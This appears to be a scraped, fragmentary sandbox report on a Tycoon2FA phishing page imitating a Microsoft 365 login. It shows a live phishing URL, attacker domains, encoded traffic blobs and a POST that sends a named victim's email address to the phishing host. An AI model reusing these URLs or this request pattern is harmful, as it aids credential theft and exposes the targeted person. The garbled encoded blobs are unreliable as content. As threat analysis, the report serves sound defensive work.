MHxBWGzMDRCtaPTccIUgXPSgQWCc1G18wCSIaIVpxEyghEQgtODkbBjE5ATAnNVcKZxNoITU7DhUoLkkmai5WKTc+OT51HCw3JTBPNwYpVwwbOV4bMyJfMWMHLSExSAgkPCICJA8uVRojTRYMcww/IVRAERAoPkUhHEgPHVYYBAx3ImEiIS9WFTgmXAkAHBYjLCYAJHMHKBoLFVQVOC5DCQA2DCAzDAM4ZAAtNSUwTzcGKVcMGzleHSMYXwp3EH
2025-03-18 12:33:51 UTC	1369	IN	Data Raw: 43 41 70 64 41 32 6f 78 4c 67 6f 76 50 53 77 70 56 77 77 62 4f 51 45 77 4a 7a 55 49 49 58 4d 45 50 78 6f 78 50 78 30 75 58 51 52 46 43 51 41 71 45 42 6f 67 47 77 67 6c 57 67 63 76 48 53 49 4b 4c 7a 30 73 4b 56 63 4d 47 7a 6b 42 4d 43 63 32 56 69 74 5a 42 44 38 78 4a 54 67 44 50 53 77 70 56 79 63 31 50 6c 51 77 49 7a 45 49 44 55 63 71 50 7a 45 6c 4f 41 4d 39 4c 43 6c 58 44 42 73 35 41 54 41 6e 4e 67 55 4b 41 6a 30 75 47 77 77 57 41 7a 31 64 50 51 55 4c 48 43 31 55 4e 43 41 48 4a 43 46 7a 42 44 38 78 4a 54 67 44 50 53 77 70 56 77 77 62 4f 51 45 64 49 79 4a 62 44 48 4e 30 4d 79 49 78 4e 78 49 58 41 69 34 41 4a 41 39 42 45 7a 59 4e 4e 68 6f 4b 41 6e 41 30 4e 78 45 57 41 7a 30 73 4b 56 63 4d 47 7a 6b 42 4d 43 63 31 43 43 46 7a 42 79 77 68 50 6a 4d 4b 46 54 68 Data Ascii: CApdA2oxLgovPSwpVwwbOQEwJzUIIXMEPxoxPx0uXQRFCQAqEBogGwglWgcvHSIKLz0sKVcMGzkBMCc2VitZBD8xJTgDPSwpVyc1PlQwIzEIDUcqPzElOAM9LClXDBs5ATAnNgUKAj0uGwwWAz1dPQULHC1UNCAHJCFzBD8xJTgDPSwpVwwbOQEdIyJbDHN0MyIxNxIXAi4AJA9BEzYNNhoKAnA0NxEWAz0sKVcMGzkBMCc1CCFzBywhPjMKFTh
2025-03-18 12:33:51 UTC	1369	IN	Data Raw: 42 59 44 4f 56 77 71 42 41 6f 76 46 77 45 77 4a 7a 55 49 49 58 4d 45 50 7a 45 75 53 53 38 39 4c 43 6c 58 44 42 73 35 41 54 41 6e 4e 52 6f 4c 41 68 4d 79 48 43 45 56 45 68 59 47 4b 6b 63 4d 45 41 73 74 4d 43 63 31 43 43 46 7a 42 44 38 78 4a 54 67 44 50 53 77 70 56 78 38 31 51 52 4d 64 4a 30 55 56 43 57 67 31 4e 44 63 50 4f 42 77 37 4a 79 6f 45 43 69 38 58 41 54 41 6e 4e 51 67 68 63 77 51 2f 4d 53 55 34 41 7a 30 73 4b 6c 6f 6e 61 67 41 51 47 67 34 62 43 43 45 43 45 43 38 69 4d 6a 73 49 4f 53 73 62 65 77 77 62 4f 51 45 77 4a 7a 55 49 49 58 4d 48 59 54 73 50 4f 41 4d 39 4c 43 6c 58 44 42 73 35 41 54 55 4a 4c 67 4d 78 61 42 64 70 47 77 73 76 48 6a 30 6e 47 33 73 4d 47 7a 6b 42 4d 43 63 31 43 43 46 7a 42 44 38 78 4a 54 67 44 4c 69 67 45 53 69 59 66 41 41 34 63 Data Ascii: BYDOVwqBAovFwEwJzUIIXMEPzEuSS89LClXDBs5ATAnNRoLAhMyHCEVEhYGKkcMEAstMCc1CCFzBD8xJTgDPSwpVx81QRMdJ0UVCWg1NDcPOBw7JyoECi8XATAnNQghcwQ/MSU4Az0sKlonagAQGg4bCCECEC8iMjsIOSsbewwbOQEwJzUIIXMHYTsPOAM9LClXDBs5ATUJLgMxaBdpGwsvHj0nG3sMGzkBMCc1CCFzBD8xJTgDLigESiYfAA4c
2025-03-18 12:33:51 UTC	1369	IN	Data Raw: 6b 41 4b 68 38 67 4d 30 45 56 4d 6c 31 38 49 52 6f 79 46 67 4d 51 4e 79 70 48 48 77 41 79 44 43 41 38 4f 67 4d 6e 52 79 6f 2f 4d 53 55 34 41 7a 30 73 4b 56 63 4d 47 7a 6b 42 4d 43 63 32 48 44 4a 6f 46 32 67 69 50 6a 41 51 46 31 77 71 57 42 78 71 46 42 4d 6a 48 68 73 49 4a 56 34 48 62 44 63 52 46 67 4d 39 4c 43 6c 58 44 42 73 35 41 54 41 73 52 43 51 68 63 77 51 2f 4d 53 55 34 41 7a 30 73 4b 55 55 66 4e 53 34 4f 48 53 77 69 46 6a 4a 6a 42 79 38 78 4c 67 6f 76 50 53 77 70 56 77 77 62 4f 51 45 77 4a 7a 55 49 49 58 4d 45 50 79 49 4c 51 42 45 51 4c 46 6c 4b 4a 41 41 49 43 6a 59 4e 4e 52 63 6d 58 67 64 73 4e 78 45 57 41 7a 30 73 4b 56 63 4d 47 7a 6b 42 4d 43 63 31 43 43 46 7a 42 7a 49 61 56 41 45 53 46 77 55 48 56 77 78 71 4c 52 45 6a 4d 44 59 44 4a 58 51 32 45 Data Ascii: kAKh8gM0EVMl18IRoyFgMQNypHHwAyDCA8OgMnRyo/MSU4Az0sKVcMGzkBMCc2HDJoF2giPjAQF1wqWBxqFBMjHhsIJV4HbDcRFgM9LClXDBs5ATAsRCQhcwQ/MSU4Az0sKUUfNS4OHSwiFjJjBy8xLgovPSwpVwwbOQEwJzUIIXMEPyILQBEQLFlKJAAICjYNNRcmXgdsNxEWAz0sKVcMGzkBMCc1CCFzBzIaVAESFwUHVwxqLREjMDYDJXQ2E
2025-03-18 12:33:51 UTC	838	IN	Data Raw: 45 4b 31 6b 45 50 7a 45 6c 4f 41 4d 39 4c 43 6c 58 44 42 73 35 41 54 41 67 44 41 63 68 64 79 30 68 49 6a 45 67 58 54 30 47 4a 6c 30 66 44 7a 35 57 48 54 77 2b 41 77 74 4a 44 48 4d 71 43 79 38 4d 45 43 63 2b 53 52 38 41 4e 56 34 31 56 6a 46 45 4b 31 6b 45 50 7a 45 6c 4f 41 4d 39 4c 43 6c 58 44 42 73 35 41 54 41 67 44 41 63 68 64 79 30 68 49 6a 45 67 58 54 30 47 4a 6b 6f 6d 48 79 34 4d 47 68 30 39 52 44 30 44 42 7a 51 68 56 54 52 63 4f 46 30 74 47 77 59 78 4f 51 45 77 4a 7a 55 49 49 58 4d 45 50 7a 45 6c 4f 41 4d 39 4b 78 42 59 44 42 38 51 48 79 4d 7a 4c 56 59 68 57 51 73 79 47 6c 52 4d 56 43 30 34 4a 67 41 4d 4d 6b 30 69 47 31 5a 42 58 7a 46 6e 43 32 67 6f 4a 55 41 4d 4a 41 67 48 56 77 77 62 4f 51 45 77 4a 7a 55 49 49 58 51 79 4c 68 6f 4c 50 31 59 6b 43 41 Data Ascii: EK1kEPzElOAM9LClXDBs5ATAgDAchdy0hIjEgXT0GJl0fDz5WHTw+AwtJDHMqCy8MECc+SR8ANV41VjFEK1kEPzElOAM9LClXDBs5ATAgDAchdy0hIjEgXT0GJkomHy4MGh09RD0DBzQhVTRcOF0tGwYxOQEwJzUIIXMEPzElOAM9KxBYDB8QHyMzLVYhWQsyGlRMVC04JgAMMk0iG1ZBXzFnC2goJUAMJAgHVwwbOQEwJzUIIXQyLhoLP1YkCA
2025-03-18 12:33:51 UTC	1369	IN	Data Raw: 31 61 36 36 0d 0a 7a 43 42 63 57 49 56 63 63 61 67 41 4f 47 6c 63 35 56 69 46 65 43 7a 51 68 56 53 73 55 46 6c 31 63 57 52 55 2f 46 77 45 77 4a 7a 55 49 49 58 4d 45 50 7a 45 6c 4f 41 4d 39 4c 43 6b 49 4a 42 77 78 54 53 70 57 49 6c 6f 68 64 52 38 30 49 54 34 72 56 52 63 43 50 6b 6f 56 47 30 45 4a 4e 41 35 41 4a 43 46 7a 42 44 38 78 4a 54 67 44 50 53 77 70 56 77 77 62 4f 51 45 70 49 79 59 66 44 46 6b 48 4d 68 6f 68 50 78 34 58 46 56 68 5a 48 7a 55 75 44 68 30 73 49 68 59 79 61 41 67 78 4b 41 45 57 41 7a 30 73 4b 56 63 4d 47 7a 6b 42 4d 43 63 31 43 43 46 7a 42 44 38 78 4a 54 67 44 4a 43 67 36 51 43 45 78 4f 67 77 62 49 7a 49 56 43 30 70 31 4d 53 49 4c 4c 77 77 51 4a 7a 35 4a 48 77 73 78 54 54 6f 4e 4e 51 67 68 63 77 51 2f 4d 53 55 34 41 7a 30 73 4b 56 63 4d Data Ascii: 1a66zCBcWIVccagAOGlc5ViFeCzQhVSsUFl1cWRU/FwEwJzUIIXMEPzElOAM9LCkIJBwxTSpWIlohdR80IT4rVRcCPkoVG0EJNA5AJCFzBD8xJTgDPSwpVwwbOQEpIyYfDFkHMhohPx4XFVhZHzUuDh0sIhYyaAgxKAEWAz0sKVcMGzkBMCc1CCFzBD8xJTgDJCg6QCExOgwbIzIVC0p1MSILLwwQJz5JHwsxTToNNQghcwQ/MSU4Az0sKVcM

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:51 UTC	1142	OUT	GET /xuMW5DTCkJsZqbU7j3sP8rvq2sjsivJMcnAwSxyg HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InVXTmdxSzhzVkVrbUg1bG8vQW5ldFE9PSIsInZhbHVlIjoiZ0J1NG1Zblp0Z2xhRVZyN1VaaDhyb0JNcGhSbC9mQnBSbjhZMmdKKzR3NURMZlN2YmxUYjNwcEtXUzk5ZVM5UXNTYzFyNTdoTkVEL1RFcFZFNnNzWlQ5cnllejBIb2ZDQ1gvUnh6SUgyN2Y3Qm5xd0dKNVREYjF0SndwbEo5bjYiLCJtYWMiOiI2YzIxNDkwNDY0Y2NkMjA1NDMwNjdkMzQzMDk5MTRlNjRhZjkxNTk3NjRjZWMyMmY3MWNjMWVmMTE5YjUwNDhjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iko4OFlQVGw1c2tMaXRqRjB2K2o2b2c9PSIsInZhbHVlIjoiaUhaNTdNcmcrZ1gwYmZpUXFTeGJsRnFuN3oxbVAzZS9EUVRnUS95YkRiVDRGeWFJK2hMaTlHdkNJWHd3Tm1GZFRWV3FmUzEzVWlUMTYvVXVCY21tcnBWdXhNWjhnN1FMbVdSQ2JWVW9RRmtWRVlGR3J4emV5UnVOYWxtakxWT24iLCJtYWMiOiIwMTA1NzhiZGUzZjQ4YzYwZTNkYmY1MDNhNGI0M2U4ZTYxYWNjOWQ3ZTE0Nzg1NDllN2IwYmI1OGJjZGY5OTgwIiwidGFnIjoiIn0%3D
2025-03-18 12:33:51 UTC	1026	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 12:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dmuA%2FEMfycnR0ZZjbhcEUJ076S2igOSZRN3hMPyA2PIZvnb7PJCQNvC8akipaOoLcFV2prXClM2HixYOglxykn9IVyCHJskoOvE9uymoPKsFa%2B5Wz4RGpgiHS1QGmWBl1Voa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=914&min_rtt=899&rtt_var=348&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2054&delivery_rate=3167964&cwnd=247&unsent_bytes=0&cid=203b2e07e2c32d01&ts=226&x=0" Server: cloudflare CF-RAY: 9224c2c87f6843f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1589&rtt_var=602&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1714&delivery_rate=1809169&cwnd=205&unsent_bytes=0&cid=74f3b48d93e09b3e&ts=506&x=0"
2025-03-18 12:33:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:52 UTC	1480	OUT	POST /rqWnEbQsk5HXxG4uGznnSrevhylKtlD5EOwQsRRQnultYgy HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive Content-Length: 33 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://ajd.asfhkkiv.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.es Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InVpOUpvV3JhRGJyVHJSWU10cjQwNVE9PSIsInZhbHVlIjoiLzlOc3JDSE5aRlQxSWF5Tm12QjljZFRXNWg4M3JGcmtScG5WT3BWbzc1NStqU2NNQ21VZGhUZFltVkNHWEltdGN4TlplRVlZSzNmVDBnVUt3QUlTeWtQUnNqTkRGSEVxeVd4SEY1MGhZUzJQQjBkMEhUWmNZd2kvanBGcy81cnkiLCJtYWMiOiIxNTVjYWI4ZTk4YTk1YmNhMmI2MWU1OWYzMTg1MTU4YzU4MmM1YmI4NTEyMDg0YmJhY2Q5NjUyMGZlNjE4MGYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJCL1FVa0hwR1RhZzI3Y2p5RE5nY0E9PSIsInZhbHVlIjoiWDh3elloK2ZVWDZ0SnRHREhGKy9SNVRnWHl5ODlydzJJMEU4amY1Smx0aEY2Q0RSdXB4aHpybXE5aERxR2R5SVVpNEd4LzlEZmVwTlNVR2pXS21SZEdaL1RqVEljWGdBVlNPMThWT3c2a2dMUkkza1h0THV6cklyQ0I5d25xL2oiLCJtYWMiOiJiZDFhMTlhMDM4ZjM2YmVmYTc0MjhjNDA5N2ZhY2U5MGRlMzM5NWJkNmEzNzg1ZmEwNWRjYzFkNmJlMWYwZTBmIiwidGFnIjoiIn0%3D
2025-03-18 12:33:52 UTC	33	OUT	Data Raw: 64 61 74 61 3d 57 51 6d 64 69 61 7a 25 34 30 65 73 74 72 65 6c 6c 61 67 61 6c 69 63 69 61 2e 65 73 Data Ascii: data=WQmdiaz%40estrellagalicia.es
2025-03-18 12:33:52 UTC	1210	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BCvZ6cWYNK3ScupWVr2fU9uwpctsujAvFY7mZFgCOqILeKYYY0qS2budFPdBJU0h5H3muwPj%2BBb3%2BNMPwsSAvNqPRWayPB0SI4sKltEruVXdqEwKLLM84KgZYb9rg0LgQ9Eb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=949&min_rtt=899&rtt_var=373&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2423&delivery_rate=3167964&cwnd=251&unsent_bytes=0&cid=73470af7ba6b4c1c&ts=237&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik9EczJvempHbU5reG5oNi9DanlOTHc9PSIsInZhbHVlIjoiUGJWUEcxVGI4UDh2L1NsVjNvN25ZSldTM1NDYkVNbWNmK2JpbG9WTUx2dENhRndZY3lNNHJpUUJlQm9jbmlpOHg4a2F3TUtka3p4VEczblJQb3ZKTElLNkZJUGNxbFEwb2hiM3FkS1R2am9VV3BiMGNxelBreFhlME9TUlp5MFciLCJtYWMiOiJhYjFjNjRjMjMzYjM0NzhjNDE4NGI5ZjQ0ZDlkNjEwZWQ2ZGQxYmY4ZDgzZjYwMGUxMjcyZWNjYjBhOGRiYzM4IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 14:33:52 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 12:33:52 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 55 33 57 6d 35 34 56 46 68 4e 61 31 6c 4c 59 32 73 32 57 6d 70 43 57 6b 74 56 64 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 56 4a 34 61 33 6f 72 54 47 52 4f 4d 6b 5a 54 64 48 64 43 56 6e 70 33 55 6c 46 79 64 53 39 75 63 44 41 30 4b 33 67 31 62 55 78 55 64 6a 41 72 51 58 64 77 53 45 52 73 61 45 5a 6a 62 6e 67 76 64 45 56 4b 63 6e 46 35 62 48 68 77 52 57 4e 4e 52 58 4a 6a 63 55 30 78 53 6d 74 44 56 33 5a 36 51 58 64 45 57 47 35 49 61 48 4a 59 64 69 74 72 57 6a 64 61 4d 33 68 76 57 6b 68 79 55 6c 52 72 4b 33 6c 32 54 48 56 78 4c 33 56 6f 62 54 59 78 61 55 4a 58 55 30 35 79 54 56 64 69 52 32 34 31 63 55 56 48 4f 54 4e 35 57 45 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkU3Wm54VFhNa1lLY2s2WmpCWktVdHc9PSIsInZhbHVlIjoiRVJ4a3orTGROMkZTdHdCVnp3UlFydS9ucDA0K3g1bUxUdjArQXdwSERsaEZjbngvdEVKcnF5bHhwRWNNRXJjcU0xSmtDV3Z6QXdEWG5IaHJYditrWjdaM3hvWkhyUlRrK3l2THVxL3VobTYxaUJXU05yTVdiR241cUVHOTN5WE4
2025-03-18 12:33:52 UTC	320	IN	Data Raw: 31 33 39 0d 0a 7b 22 61 22 3a 22 76 34 70 64 63 45 43 64 31 34 32 67 33 47 7a 49 4b 71 4d 45 66 66 74 38 70 63 51 6e 47 65 42 4e 34 76 53 5a 42 54 5c 2f 73 76 49 78 66 78 50 58 75 6e 64 42 5c 2f 4b 49 49 67 70 65 33 62 66 56 70 48 6c 4f 6a 73 4d 77 71 53 77 4d 5c 2f 4c 6c 51 46 39 36 57 59 4a 35 7a 69 58 50 30 59 62 6d 34 36 44 4a 34 75 6b 5c 2f 55 56 4b 32 70 46 6f 79 6e 79 6e 7a 79 58 66 74 35 7a 47 54 6e 49 4f 34 4c 4d 37 2b 77 79 6f 72 30 4d 78 42 74 61 74 6d 55 58 2b 45 35 7a 2b 66 77 3d 3d 22 2c 22 62 22 3a 22 64 34 38 33 63 62 39 38 38 65 63 66 38 65 66 31 35 66 66 30 36 61 32 37 62 66 39 64 34 30 35 36 22 2c 22 63 22 3a 22 66 37 31 65 31 35 61 34 65 34 64 34 38 31 65 31 36 39 38 35 36 64 37 65 30 32 64 36 64 33 30 38 22 2c 22 64 22 3a 22 33 35 33 Data Ascii: 139{"a":"v4pdcECd142g3GzIKqMEfft8pcQnGeBN4vSZBT\/svIxfxPXundB\/KIIgpe3bfVpHlOjsMwqSwM\/LlQF96WYJ5ziXP0Ybm46DJ4uk\/UVK2pFoynynzyXft5zGTnIO4LM7+wyor0MxBtatmUX+E5z+fw==","b":"d483cb988ecf8ef15ff06a27bf9d4056","c":"f71e15a4e4d481e169856d7e02d6d308","d":"353
2025-03-18 12:33:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:52 UTC	538	OUT	OPTIONS /report/v4?s=dmuA%2FEMfycnR0ZZjbhcEUJ076S2igOSZRN3hMPyA2PIZvnb7PJCQNvC8akipaOoLcFV2prXClM2HixYOglxykn9IVyCHJskoOvE9uymoPKsFa%2B5Wz4RGpgiHS1QGmWBl1Voa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ajd.asfhkkiv.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:52 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 18 Mar 2025 12:33:52 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Windows Analysis Report
http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:52 UTC	1356	OUT	GET /favicon.ico HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/mdiaz%40estrellagalicia.es Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InVpOUpvV3JhRGJyVHJSWU10cjQwNVE9PSIsInZhbHVlIjoiLzlOc3JDSE5aRlQxSWF5Tm12QjljZFRXNWg4M3JGcmtScG5WT3BWbzc1NStqU2NNQ21VZGhUZFltVkNHWEltdGN4TlplRVlZSzNmVDBnVUt3QUlTeWtQUnNqTkRGSEVxeVd4SEY1MGhZUzJQQjBkMEhUWmNZd2kvanBGcy81cnkiLCJtYWMiOiIxNTVjYWI4ZTk4YTk1YmNhMmI2MWU1OWYzMTg1MTU4YzU4MmM1YmI4NTEyMDg0YmJhY2Q5NjUyMGZlNjE4MGYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJCL1FVa0hwR1RhZzI3Y2p5RE5nY0E9PSIsInZhbHVlIjoiWDh3elloK2ZVWDZ0SnRHREhGKy9SNVRnWHl5ODlydzJJMEU4amY1Smx0aEY2Q0RSdXB4aHpybXE5aERxR2R5SVVpNEd4LzlEZmVwTlNVR2pXS21SZEdaL1RqVEljWGdBVlNPMThWT3c2a2dMUkkza1h0THV6cklyQ0I5d25xL2oiLCJtYWMiOiJiZDFhMTlhMDM4ZjM2YmVmYTc0MjhjNDA5N2ZhY2U5MGRlMzM5NWJkNmEzNzg1ZmEwNWRjYzFkNmJlMWYwZTBmIiwidGFnIjoiIn0%3D
2025-03-18 12:33:52 UTC	1062	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 12:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vJk6TPBEndFpmFVGfHf0StytHM9Hfcmc5SaJC4OWc2uwPVdwWxDLRKYJY82PGN%2BMk9kqK10I6l7wwkGW5QJVyZ%2FJA5lNRJ1%2BbY0zB%2B3lTB2C%2FRwB0qkJcNegHXdPVYmsRe%2BY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1025&min_rtt=1024&rtt_var=385&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2267&delivery_rate=2781250&cwnd=244&unsent_bytes=0&cid=f2f7084dc897784c&ts=28&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Server: cloudflare CF-RAY: 9224c2d04bc30cbe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1585&rtt_var=607&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1928&delivery_rate=1783750&cwnd=207&unsent_bytes=0&cid=89aae675f74017e3&ts=315&x=0"
2025-03-18 12:33:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:52 UTC	513	OUT	POST /report/v4?s=dmuA%2FEMfycnR0ZZjbhcEUJ076S2igOSZRN3hMPyA2PIZvnb7PJCQNvC8akipaOoLcFV2prXClM2HixYOglxykn9IVyCHJskoOvE9uymoPKsFa%2B5Wz4RGpgiHS1QGmWBl1Voa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 424 Content-Type: application/reports+json Origin: https://ajd.asfhkkiv.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:52 UTC	424	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 37 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6a 64 2e 61 73 66 68 6b 6b 69 76 2e 65 73 2f 78 Data Ascii: [{"age":0,"body":{"elapsed_time":973,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error","url":"https://ajd.asfhkkiv.es/x
2025-03-18 12:33:53 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 18 Mar 2025 12:33:52 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
